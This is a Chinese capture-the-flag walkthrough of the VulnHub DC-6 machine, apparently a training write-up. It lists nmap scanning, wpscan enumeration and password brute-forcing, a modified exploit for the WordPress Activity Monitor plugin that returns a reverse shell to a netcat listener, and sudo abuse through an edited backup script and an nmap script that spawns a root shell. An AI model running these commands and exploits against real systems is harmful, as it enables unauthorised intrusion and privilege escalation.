靶机DC-6下载地址: https://download.vulnhub.com/dc/DC-6.zip
环境:VMware 15虚拟机软件
DC-6靶机IP地址:192.168.220.139
Kali的IP地址:192.168.220.142
DC-6靶机与kali都以NAT模式连接到网络,查看kali的IP地址:192.168.220.142
ip addr
使用nmap工具扫描192.168.220.0网段的存活主机,发现DC-6靶机的IP地址为192.168.220.153
nmap -sP -T4 192.168.220.0/24 -oN nmap220.sP
使用nmap扫描靶机开放的端口,已开放端口有22(ssh)、80(http)
nmap -A -T4 192.168.220.153 -p- -oN nmap153.A
浏览器地址栏输入靶机IP地址,发现显示域名但无法解析域名导致无法访问网站
http://192.168.220.153 –->http://wordy
修改/etc/hosts文件,添加主机192.168.220.153 wordy
vim /etc/hosts
192.168.220.153 wordy
网站是WordPress的CMS,和DC-2一样,使用nikto工具扫描网站结构,发现登录页面wp-login.php和一个/wp-content/uploads目录
nikto -h wordy -o nikto-wordy.txt
在/wp-content/uploads这个目录下没有可利用的文件
http://wordy/wp-content/uploads/
打开后台登录页面
http://wordy/wp-login.php
使用wpscan工具对wordpress网站扫描获取WordPress可以登录的用户
wpscan --url wordy -e u
#五个用户
admin、graham、mark、sarah、jens
将扫描到的5个用户保存到wordy-users,dic
vim wordy-users.dic
使用DC-2中提及到的cewl生成密码字典wordy-pass.dic
cewl wordy -w wordy-pass.dic
cat wordy-pass.dic
使用wpscan工具爆破可以登录用户的密码,但爆破失败!!!
wpscan --url wordy -U wordy-users.dic -P wordy-pass.dic
重新打开https://www.vulnhub.com/entry/dc-6,315/,查看给的提示,获取密码字典的生成方式
OK, this isn't really a clue as such, but more of some "we don't want to spend five years waiting for a certain process to finish" kind of advice for those who just want to get on with the job.
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt That should save you a few years. ;-)
将/usr/share/wordlists下的rockyou.txt.gz解压缩
cp rockyou.txt.gz rockyou.txt.gz.bak
gunzip rockyou.txt.gz rockyou.txt
生成密码字典wordy-pass1.dic
cat /usr/share/wordlists/rockyou.txt | grep k01 > wordy-pass1.dic
cat wordy-pass1.dic
使用wpscan再次爆破密码,找到mark用户的登录密码
wpscan --url wordy -U wordy-users.dic -P wordy-pass1.dic
Username: mark, Password: helpdesk01
使用mark用户登录后台,发现一个插件Activity monitor,猜测这个插件存在漏洞
查找activity monitor插件存在的漏洞,并利用
searchsploit activity monitor
修改html代码action跳转及shell反弹IP地址到kali本机
cp /usr/share/exploitdb/exploits/php/webapps/45274.html 45274.html
cp 45274.html 45274.html.bak
vim 45274.html
Kali临时开启HTTP服务,并访问45274.html页面
python -m SimpleHTTPServer 80
同时在kali监听9999端口,在页面点击submit request后,反弹shell成功
nc -lvvp 9999
切换shell外壳到交互式界面
python -c 'import pty;pty.spawn("/bin/bash")'
进入到mark用户的家目录下,stuff文件下有一个things-to-do.txt文件,查看文件内容发现graham用户及登录密码
cd /home/mark/stuff
cat things-to-do.txt
Things to do:
- Restore full functionality for the hyperdrive (need to speak to Jens)
- Buy present for Sarah's farewell party
- Add new user: graham - GSo7isUM1D4 - done
- Apply for the OSCP course
- Buy new laptop for Sarah's replacement
使用su命令切换graham用户或者使用ssh服务登录graham用户
www-data@dc-6:/home/mark/stuff$ su graham
su graham
Password: GSo7isUM1D4
ssh [email protected]
graham用户成功登录后,查看当前用户可以执行的操作,发现可以运行jens用户下面的backups.sh
sudo -l
查看backups.sh文件,发现是对web的文件进行打包备份
cat backups.sh
向backups.sh文件中写入”/bin/bash”,并以jens用户去执行该脚本
echo "/bin/bash" >> backups.sh
sudo -u jens ./backups.sh
脚本执行成功后,切换到jens用户,再次查看jens可以执行的操作,发现jens可以在无密码情况下使用nmap命令
sudo -l
百度到可以写入一条命令到getShell,并通过nmap运行getShell成功进入root用户,在/root目录下找到theflag.txt文件
echo 'os.execute("/bin/sh")' > getShell
sudo nmap --script=getShell
cd /root
cat theflag.txt